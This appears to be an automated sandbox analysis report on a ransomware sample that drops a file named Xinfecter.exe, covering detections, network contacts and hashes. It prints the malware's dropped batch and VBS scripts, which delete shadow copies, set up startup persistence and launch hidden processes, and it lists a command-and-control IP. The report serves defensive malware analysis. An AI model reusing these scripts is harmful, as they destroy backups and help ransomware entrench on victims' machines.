      System Network Configuration Discovery      		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1569978 Sample: GD8c7ARn8q.exe Startdate: 06/12/2024 Architecture: WINDOWS Score: 100 84 api.ipify.org 2->84 96 Suricata IDS alerts for network traffic 2->96 98 Antivirus detection for dropped file 2->98 100 Antivirus / Scanner detection for submitted sample 2->100 102 12 other signatures 2->102 10 GD8c7ARn8q.exe 22 2->10         started        15 cmd.exe 2 2->15         started        17 Xinfecter.exe 2->17         started        signatures3 process4 dnsIp5 86 185.147.34.53, 3586, 49706 HOSTSLIM-GLOBAL-NETWORKNL Iceland 10->86 88 api.ipify.org 104.26.12.205, 49705, 80 CLOUDFLARENETUS United States 10->88 76 C:\Users\user\AppData\...\Xinfecter.exe, PE32 10->76 dropped 78 C:\Windows\SysMain.sys, ASCII 10->78 dropped 80 C:\Users\user\AppData\S-8459.vbs, ASCII 10->80 dropped 82 4 other malicious files 10->82 dropped 112 Deletes shadow drive data (may be related to ransomware) 10->112 114 Drops PE files to the startup folder 10->114 116 Sample is not signed and drops a device driver 10->116 118 Contains functionality to clear event logs 10->118 19 cmd.exe 3 2 10->19         started        21 cmd.exe 1 10->21         started        23 cmd.exe 1 10->23         started        32 9 other processes 10->32 26 wscript.exe 15->26         started        28 conhost.exe 15->28         started        30 conhost.exe 17->30         started        file6 signatures7 process8 signatures9 34 wscript.exe 1 19->34         started        37 systeminfo.exe 2 1 21->37         started        39 find.exe 1 21->39         started        104 Uses schtasks.exe or at.exe to add and modify task schedules 23->104 41 tasklist.exe 1 23->41         started        43 findstr.exe 1 23->43         started        106 Windows Scripting host queries suspicious COM object (likely to drop second stage) 26->106 45 cmd.exe 26->45         started        47 cmd.exe 26->47         started        49 schtasks.exe 1 32->49         started        51 5 other processes 32->51 process10 signatures11 90 Windows Scripting host queries suspicious COM object (likely to drop second stage) 34->90 53 cmd.exe 1 34->53         started        55 cmd.exe 1 34->55         started        92 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 37->92 94 Writes or reads registry keys via WMI 37->94 57 find.exe 45->57         started        60 conhost.exe 45->60         started        62 tasklist.exe 45->62         started        64 conhost.exe 47->64         started        process12 signatures13 66 tasklist.exe 1 53->66         started        68 conhost.exe 53->68         started        70 find.exe 1 53->70         started        74 16 other processes 53->74 72 conhost.exe 55->72         started        108 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 57->108 110 Writes or reads registry keys via WMI 57->110 process14

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      GD8c7ARn8q.exe79%ReversingLabsWin32.Ransomware.Spora
      GD8c7ARn8q.exe100%AviraHEUR/AGEN.1353205
      GD8c7ARn8q.exe100%Joe Sandbox ML

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe100%AviraHEUR/AGEN.1353205
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe100%Joe Sandbox ML
      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe79%ReversingLabsWin32.Ransomware.Spora

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://api.ipify.orgCn0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      api.ipify.org
      		104.26.12.205
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://api.ipify.org/AGD8c7ARn8q.exe, 00000000.00000002.2799316305.00000000004F9000.00000004.00000010.00020000.00000000.sdmpfalse
          		high
          http://api.ipify.org/Q7GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            http://api.ipify.org/GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmp, GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://api.ipify.org/3nGD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://api.ipify.orgCnGD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://api.ipify.org/X7GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000056F000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://api.ipify.org/hGD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://www.kraken.com/learn/buy-bitcoin-btcGD8c7ARn8q.exe, Xinfecter.exe.0.drfalse
                      		high
                      http://api.ipify.org/&GD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000058B000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://www.coinbase.com/how-to-buy/bitcoinGD8c7ARn8q.exe, Xinfecter.exe.0.drfalse
                          		high
                          http://api.ipify.orgGD8c7ARn8q.exe, 00000000.00000002.2799337296.000000000050F000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            104.26.12.205
                            		api.ipify.orgUnited States
                            		13335CLOUDFLARENETUSfalse
                            185.147.34.53
                            		unknownIceland
                            		207083HOSTSLIM-GLOBAL-NETWORKNLtrue

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1569978
                            Start date and time:2024-12-06 13:38:18 +01:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 9m 6s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:64
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:GD8c7ARn8q.exe
                            renamed because original name is a hash value
                            Original Sample Name:3f9d0c297e903a2200b78f8a87904934e1e1f0cd5fbef2194b0b6435361ed2ef.exe
                            Detection:MAL
                            Classification:mal100.rans.troj.adwa.evad.winEXE@114/21@1/2
                            EGA Information:
                            • Successful, ratio: 100%
                            HCA Information:
                            • Successful, ratio: 98%
                            • Number of executed functions: 45
                            • Number of non-executed functions: 230
                            Cookbook Comments:
                            • Found application associated with file extension: .exe

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size exceeded maximum capacity and may have missing disassembly code.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.
                            • VT rate limit hit for: GD8c7ARn8q.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            13:39:33AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
                            13:39:35Task SchedulerRun new task: Microsoft_Auto_Scheduler path: "C:\Users\user\AppData\S-2153.bat"

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            104.26.12.205Simple2.exeGet hashmaliciousUnknownBrowse
                            • api.ipify.org/
                            Ransomware Mallox.exeGet hashmaliciousTargeted RansomwareBrowse
                            • api.ipify.org/
                            Yc9hcFC1ux.exeGet hashmaliciousUnknownBrowse
                            • api.ipify.org/
                            6706e721f2c06.exeGet hashmaliciousRemcosBrowse
                            • api.ipify.org/
                            perfcc.elfGet hashmaliciousXmrigBrowse
                            • api.ipify.org/
                            SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                            • api.ipify.org/
                            SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                            • api.ipify.org/
                            hloRQZmlfg.exeGet hashmaliciousRDPWrap ToolBrowse
                            • api.ipify.org/
                            file.exeGet hashmaliciousRDPWrap ToolBrowse
                            • api.ipify.org/
                            file.exeGet hashmaliciousUnknownBrowse
                            • api.ipify.org/
                            185.147.34.53Help.File@zohomail.eu_Fast.exeGet hashmaliciousTrojanRansomBrowse
                              Xinfecter.exeGet hashmaliciousTrojanRansomBrowse
                                Ross.dec1966@gmail.com_Fast.bin.exeGet hashmaliciousBabuk, Chaos, Conti, RegretLocker, TrojanRansomBrowse
                                  12.exe1Get hashmaliciousBTC, Conti, Neshta, RegretLocker, TrojanRansomBrowse
                                    DttL6H1DqQ.exeGet hashmaliciousBabuk, Chaos, ContiBrowse
                                      PAvH6odjUO.exeGet hashmaliciousVoidcryptBrowse

                                        Domains

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        api.ipify.orgSimple1.exeGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        Simple1.exeGet hashmaliciousUnknownBrowse
                                        • 104.26.13.205
                                        Simple2.exeGet hashmaliciousUnknownBrowse
                                        • 104.26.12.205
                                        Simple2.exeGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        systemConfigChecker.exeGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        systemConfigChecker.exeGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        kYGxoN4JVW.batGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exeGet hashmaliciousAgentTeslaBrowse
                                        • 104.26.13.205
                                        PO54782322024.exeGet hashmaliciousAgentTeslaBrowse
                                        • 172.67.74.152
                                        https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2ddGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                        • 104.26.13.205

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        HOSTSLIM-GLOBAL-NETWORKNLla.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                        • 213.166.86.57
                                        cenSXPimaG.elfGet hashmaliciousMirai, OkiruBrowse
                                        • 213.166.86.22
                                        SWIFT COPY.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        REMITTANCE SLIP.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        STATEMENT OF ACCOUNT.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        PAYMENT SWIFT.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        PAYMENT RECEIPT.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        hsbc Wire copy.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        bin.exeGet hashmaliciousFormBookBrowse
                                        • 103.214.4.45
                                        CxmpudkF8Y.exeGet hashmaliciousRedLineBrowse
                                        • 185.147.34.93
                                        CLOUDFLARENETUSfile.exeGet hashmaliciousLummaC StealerBrowse
                                        • 104.21.16.9
                                        https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.auGet hashmaliciousHTMLPhisherBrowse
                                        • 104.21.25.148
                                        https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.pngGet hashmaliciousHTMLPhisherBrowse
                                        • 104.21.85.204
                                        file.exeGet hashmaliciousLummaC StealerBrowse
                                        • 172.67.165.166
                                        phish_alert_sp2_2.0.0.0.emlGet hashmaliciousUnknownBrowse
                                        • 104.18.69.40
                                        Simple1.exeGet hashmaliciousUnknownBrowse
                                        • 172.67.74.152
                                        Pr9cqW75nY.lnkGet hashmaliciousUnknownBrowse
                                        • 104.18.10.207
                                        G3vWD786PN.lnkGet hashmaliciousUnknownBrowse
                                        • 104.18.11.207
                                        hTXtTJXdLt.lnkGet hashmaliciousUnknownBrowse
                                        • 104.18.11.207
                                        fqufh5EOJr.lnkGet hashmaliciousUnknownBrowse
                                        • 104.18.11.207

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        ⊘No context

                                        Created / dropped Files

                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\3F3RD0XW.txt

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:ASCII text, with no line terminators
                                        Category:modified
                                        Size (bytes):12
                                        Entropy (8bit):2.6258145836939115
                                        Encrypted:false
                                        SSDEEP:3:fuM9:2I
                                        MD5:E4A5E3AE7A904A86A50AE5FC1A38F374
                                        SHA1:0B536BF59DE491CCC2CAA8AE52200CD6B61364E9
                                        SHA-256:4EF53CF7C95DBE1BE9AC5E3D7465B91B911FD5C198EB161A55AF5579D9390C1A
                                        SHA-512:17D3508E7E847B91E84A06BA32BAD9A6CEC55373EE877E1163AB74EF4E18A72C38DD43897BE21E26556CBDE58DF9446E06B59B2BB37CC0321B5228D57C80A146
                                        Malicious:false
                                        Preview:8.46.123.228

                                        C:\Users\user\AppData\N-Save.sys

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:ASCII text, with very long lines (3460), with no line terminators
                                        Category:dropped
                                        Size (bytes):3460
                                        Entropy (8bit):6.015878417291477
                                        Encrypted:false
                                        SSDEEP:96:hFUpyOa6eq7dWNJzJjzwbIVjHJOmVmlFzdxFBulGVKs:D5OrbyBJYbgVVCxBBIGos
                                        MD5:A7855D180985EE21C7564E4901C4AC52
                                        SHA1:B89A1B80140EBE139BE6DDB17F889BA870049B88
                                        SHA-256:1B736996388F5167CEBB1C6214F1E105DC477EB78BEFF5B801B6395FEAD8C5AF
                                        SHA-512:14B56339B5D9D0535B6A3C69ED95E85F2B02D6D5F793861DA29DFDDFA77C173A898DED7C5CEE4EBEDE9364F65673E5600615FA6A798472A320280E3FE5423CA8
                                        Malicious:true
                                        Preview:$0eAgnwPwdKn8pKEdV2nWCFhLSxVjkC2D3Phb5/milQj1jxW9sI7ynUKJCipUQs60wRXwySWaUGaw4QNiH7LVFzRP4ANGowrDwvp/WiqhxCBsB1A/lClcnBYjHW0c58HZXj8xaTPy3nX1bWHWmnupwjoLlXv6q9hH5guL2ZokA+O9eWzTxIjktiCnmUSW1quO9OUoImUQFkS5LRxbjsNVminsdjCzHSM1SSg4Hm/OZGybA8ffi7m3EvU0uLTEEcSjXp3/EAn2M2Abt+A7gFn5c2+FNuRvjYwhvv7ZT32Gmfma5TNlbg4U32K+1vBrUM8H2iSk+mfZEV3rH5xtZO2FqTg==$1MbKF8scRuQwYZoWvDhu6AZtYP7j9SRjo6GLlY1XgXkpeRKE9x2y2vKQ+KzAI0NK879VmY+lSgwLJagsVjczlwoBULepEKuckxwMwMKWiLBaKDLrIcTUfH4dZhuytWftLdvKEkmp8X687RurD1sJxswZz8km0jSTHJLfP8KNOKR1Jz/xj1D+xAejLJVyUNjqyrlP/JKj8psiQ5q6Q1sVeuHmm2p3+9f4keG6J2N15AKMlDj6yeyN1fpLssKdUdYhxjdVdrgYYBerTk9L5+hAcFO/3arYffPgr5RapD5Wy2zipa+cse6HIH6eIK7kFyr8TkG8Yn/I2YaK547NN/36DXw==$2Bs+piQmDVSMQO5coQz1GwQlQ3DayT9/BRhjaX9XFc04sUkG9Om0ZZYx3AqtVSC+wqve8DW9dOmDemJEbgCfh1/dntDztOtdnzNvdxm5+k+WGtCgsu86wp/Fi672nbgidUM+PI9aU4Vwh4SJFCAOViLSq8+EcbFuOFZubY1rTJ1KlHNfuPWo2vMiFbFUEHdWAc4g40nVAnKG6RC1vxl7BPGU88EvpAWA36nZwe2Lkh64NP9rkzK0cyCUdhaiNwKDZUpf3ZR0pZaNkTo7xaexgv0a2G3pMIFguDG0UouSrPB+EV7erW1

                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                        Category:dropped
                                        Size (bytes):1260544
                                        Entropy (8bit):6.587171219937565
                                        Encrypted:false
                                        SSDEEP:24576:CN75aNGyDvn3D+KuG7+Szo1ecSeDmeY5prx80ZXSC6O3jHeHBuIzd/GoxE:waMyL3D+Kzk1dmeY5U036GHCBuIzlGo6
                                        MD5:142C78E668B72F3962C176F81A941953
                                        SHA1:FD8391201A9682AABDE56251F0AC5BB467C06E3D
                                        SHA-256:3F9D0C297E903A2200B78F8A87904934E1E1F0CD5FBEF2194B0B6435361ED2EF
                                        SHA-512:9A9F57FEA8B698D5FFA16DD8C4C6A4FF805375CDCBED846DC28919F6A197CE8AB29A35BFFD39DFBDEE531A90BDFF2F904124F9A7644B9A1362E3022E587CA328
                                        Malicious:true
                                        Antivirus:
                                        • Antivirus: Avira, Detection: 100%
                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                        • Antivirus: ReversingLabs, Detection: 79%
                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Jid.+.7.+.7.+.7,..7.+.7,..7++.7,..7.+.7,A.6.+.7,A.6.+.7,A.6.+.7.S.7.+.7.+.7A+.7.@.6.+.7.@.6.+.7.@.7.+.7.@.6.+.7Rich.+.7................PE..L......f.....................................0....@.......................................@.................................<.......................................@V..8....................W......xV..@............0..(............................text............................... ..`.rdata.......0......."..............@..@.data...x...........................@....rsrc................b..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe:Zone.Identifier

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):26
                                        Entropy (8bit):3.95006375643621
                                        Encrypted:false
                                        SSDEEP:3:ggPYV:rPYV
                                        MD5:187F488E27DB4AF347237FE461A079AD
                                        SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                        SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                        SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                        Malicious:true
                                        Preview:[ZoneTransfer]....ZoneId=0

                                        C:\Users\user\AppData\S-2153.bat

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:DOS batch file, ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):138
                                        Entropy (8bit):4.970414275542141
                                        Encrypted:false
                                        SSDEEP:3:mKDD/j2hFHTnmTPcYWA6/hEREVdPTHAF6vWEzn9TmTPcYWA6/hEREVdPTHAoU:hGh9TnmTPYA6/Si3rHV7TQTPYA6/Si36
                                        MD5:82A528CBF39B8EA7E2982E7B2305204C
                                        SHA1:717836E0E2B304ED7AE239CC1DB0F6F80E0419B1
                                        SHA-256:616738526C38E04F992B7B9FC60CB7FEB3EE416BF47B69AA2C3A5F1A722A653B
                                        SHA-512:EFF7654E171DBD9BC471718A7E14EE3C84A9EDF948F4C8863C8107E653BE8BA06BC7A2876D506D6E4AE7EF2280E820D04615EBCD88894EF01B3667D070241DB3
                                        Malicious:true
                                        Preview:@echo off..IF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (..start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs"..)

                                        C:\Users\user\AppData\S-6748.bat

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:DOS batch file, ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):1849
                                        Entropy (8bit):5.38771947505813
                                        Encrypted:false
                                        SSDEEP:48:NKsZthnuYWnui9aWq5uhnuYWnuiGhnuYZeXenc4hg0hLdY:7TkYlipqIkYliGkYZeXoBJnY
                                        MD5:3DF2FEC605DC74C0C8C1227BDD87F95B
                                        SHA1:16B84A548FEC847C7E4949E31E25215AD162D27D
                                        SHA-256:893DF80693CA96597EB4744FFA08C6BAE4192CF0836348225FCFF6E2A6214751
                                        SHA-512:E112B0A029642B89BEF095F54C2F12368FC03ECA8A25869AC0D0BD5A08C326535DD66DD14A58DBBAA277F2D4EA907B376028D3D573921FC267F98F15B99B31A1
                                        Malicious:true
                                        Preview:@echo off..tasklist /v | find /I /c "dcdcf" > nul..if "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunning..set lend=deb..vssadmin.exe Delete Shadows /All /Quiet..title dcdcf..goto notend..:ErrorAlreadyRunning..exit..:secthree..tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv 2>NUL | find /I "GD8c7ARn8q.exe">NUL..if "%ERRORLEVEL%"=="0" goto imer..if %lend% == bed (goto akakak)..set lend=bed..IF EXIST "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" (..start /d "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" Xinfecter.exe ..)..:secttwo..tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv 2>NUL | find /I "GD8c7ARn8q.exe">NUL..if "%ERRORLEVEL%"=="0" goto notend..goto secton..:notend..timeout /t 15 /nobreak >NUL..IF NOT EXIST "C:\Users\ReadMe.hta" (..goto secttwo..:secton..IF EXIST "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"

                                        C:\Users\user\AppData\S-8459.vbs

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:ASCII text, with CRLF line terminators
                                        Category:dropped
                                        Size (bytes):686
                                        Entropy (8bit):5.1743757294368
                                        Encrypted:false
                                        SSDEEP:12:MDhOfTK2Opx6/SYSHFagnXoWHgvvT9vTnMS8h92Mbx6/SYTlZ7D:s6f9/SY7UgDVnMS8j2Mbs/SYTlZH
                                        MD5:ED7A274FF8AC640416952BFB5D6C927A
                                        SHA1:6B33CD5B39DB6E9A900336E446F64A137F0A0F42
                                        SHA-256:4D68E4A7A437EB4A7AD9C7B28BDDA894A68AE41EFBA8A5E4D3A6A930BEBFEEA5
                                        SHA-512:8F3A4F071550AFE716C5D39601CF1E8559084FBB701E95B28EB7685FED6D8A972E662AD19124A2242FD30C291B8DD1F18F1A2DCF56AC6C98F2BF96BAC91510F3
                                        Malicious:true
                                        Preview:Dim strScript..Dim oExec, oWshShell..Dim ComSpec..Set oWshShell = CreateObject("WScript.Shell")..ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")..strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"..Set oExec = oWshShell.Exec (strScript)..Dim outputsxc..outputsxc = oExec.StdOut.ReadAll()..Set fso = CreateObject("Scripting.FileSystemObject")..outputsxc = Replace(outputsxc, vbCr, "")..outputsxc = Replace(outputsxc, vbLf, "")..If (fso.FileExists(outputsxc)) Then..Set WinScriptHost = CreateObject("WScript.Shell")..WinScriptHost.Run Chr(34) & "%SystemDrive%\Users\%username%\AppData\S-6748.bat" & Chr(34), 0..Set WinScriptHost = Nothing..End If

                                        C:\Windows\SysMain.sys

                                        Download File
                                        Process:C:\Users\user\Desktop\GD8c7ARn8q.exe
                                        File Type:ASCII text, with very long lines (417), with no line terminators
                                        Category:dropped
                                        Size (bytes):417
                                        Entropy (8bit):5.893948531755947
                                        Encrypted:false
                                        SSDEEP:6:m0Xg8fxn0yRM/c2CCCg4NVXXZMXRB53mH8pv2kHRIOeJ+rOC6NOr7sseL1mo0xLo:BwSxJRKCngYpiBBMkxIOBtxZFqVV
                                        MD5:48E5D4751A5A4E59FA2C3EA6C6C642E2
                                        SHA1:7336AB8C7721D82D83F9CA6C9CA485BBDAD1DBC0
                                        SHA-256:12F45C2732846F8991ED2C46CCD841ABD190A88081B3541A54C5B4D9D2DD6C3D
                                        SHA-512:28F797BAB89CB2A60359A6EDC92E523073D837F7B242BDE28D101FA56FA93F2B59701D49258E84F0282F0E0E2857D72FDFB42FCF10C216A840C50B0F0489AF29
                                        Malicious:true
                                        Preview:n7t0MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAwMNTHBxyyhRxZ8hhvb3LCBafqS8WNMLCZ9Gp4pUD8uA+i27MJM+b8s5bd1tIc7nmxt84+tBpqtY0Q4NxhKhxoLyS+G68lvvoMTro56C0tWFZBmiF5BcnYQV86d9ceiAMsZXuhDylnHor7pvtB+/NUa6BbCXiLXPkwXQmIOWz08LEYToBulYqTYvTAbtifzcOp2e1mJoHlbXHcD6B+RFQpcWfXN+/8CR7tR1ykN0rsqxQ64/7+0wf1YTSd8WIejxtaRtghMyPDKj7/yi+Y9kbCZ2sf3/A0a7gXZ6N+zZXJ1veHmNcVrHoCfI2dZiBrgN7nb5btnGOBIV7GUOZ21z5gwIBEQ==p2h6DOEXIu4g8.GVJh2gq

                                        \Device\Null

                                        Download File
                                        Process:C:\Windows\SysWOW64\timeout.exe
                                        File Type:ASCII text, with CRLF line terminators, with overstriking
                                        Category:dropped
                                        Size (bytes):112
                                        Entropy (8bit):4.170882440781968
                                        Encrypted:false
                                        SSDEEP:3:hYFEARcWmFsFJQZ8Rtmqg2Htyst3g4t32vov:hYFpmFSQZ8R8q3tyMXt3X
                                        MD5:A5DFB2D89E9F3DA074DDA8C4D4029722
                                        SHA1:0E6F5DC056EFF30F3AE7A0BD60DA9081772FF5F7
                                        SHA-256:CF3A760F73101CABC7A177A43AE9E778B1C075B8D87CD87DFE9A9152DB2656ED
                                        SHA-512:F57CB4916EDEE119E5E94AB1119B5D40DE77B51C6BBB56E033751EDDB1E19859DC1D92CB2C41D2004272932561BB35DF850D534CF518235806DA7CBBDD610462
                                        Malicious:false
                                        Preview:..Waiting for 15 seconds, press CTRL+C to quit .....14..13..12..11..10.. 9.. 8.. 7.. 6.. 5.. 4.. 3.. 2.. 1.. 0..

                                        Static File Info

                                        General

                                        File type:PE32 executable (console) Intel 80386, for MS Windows
                                        Entropy (8bit):6.587171219937565
                                        TrID:
                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                        • DOS Executable Generic (2002/1) 0.02%
                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                        File name:GD8c7ARn8q.exe
                                        File size:1'260'544 bytes
                                        MD5:142c78e668b72f3962c176f81a941953
                                        SHA1:fd8391201a9682aabde56251f0ac5bb467c06e3d
                                        SHA256:3f9d0c297e903a2200b78f8a87904934e1e1f0cd5fbef2194b0b6435361ed2ef
                                        SHA512:9a9f57fea8b698d5ffa16dd8c4c6a4ff805375cdcbed846dc28919f6a197ce8ab29a35bffd39dfbdee531a90bdff2f904124f9a7644b9a1362e3022e587ca328
                                        SSDEEP:24576:CN75aNGyDvn3D+KuG7+Szo1ecSeDmeY5prx80ZXSC6O3jHeHBuIzd/GoxE:waMyL3D+Kzk1dmeY5U036GHCBuIzlGo6
                                        TLSH:0945BE307642C132D56291F05E7CEB9A90ACBD344F758ACBB3C45B2E4A315D29E36E63
                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Jid.+.7.+.7.+.7,..7.+.7,..7++.7,..7.+.7,A.6.+.7,A.6.+.7,A.6.+.7.S.7.+.7.+.7A+.7.@.6.+.7.@.6.+.7.@.7.+.7.@.6.+.7Rich.+.7.......

                                        File Icon

                                        Icon Hash:00928e8e8686b000

                                        Static PE Info

                                        General

                                        Entrypoint:0x4916b1
                                        Entrypoint Section:.text
                                        Digitally signed:false
                                        Imagebase:0x400000
                                        Subsystem:windows cui
                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                        DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                        Time Stamp:0x661DB2A9 [Mon Apr 15 23:05:13 2024 UTC]
                                        TLS Callbacks:0x490cf0
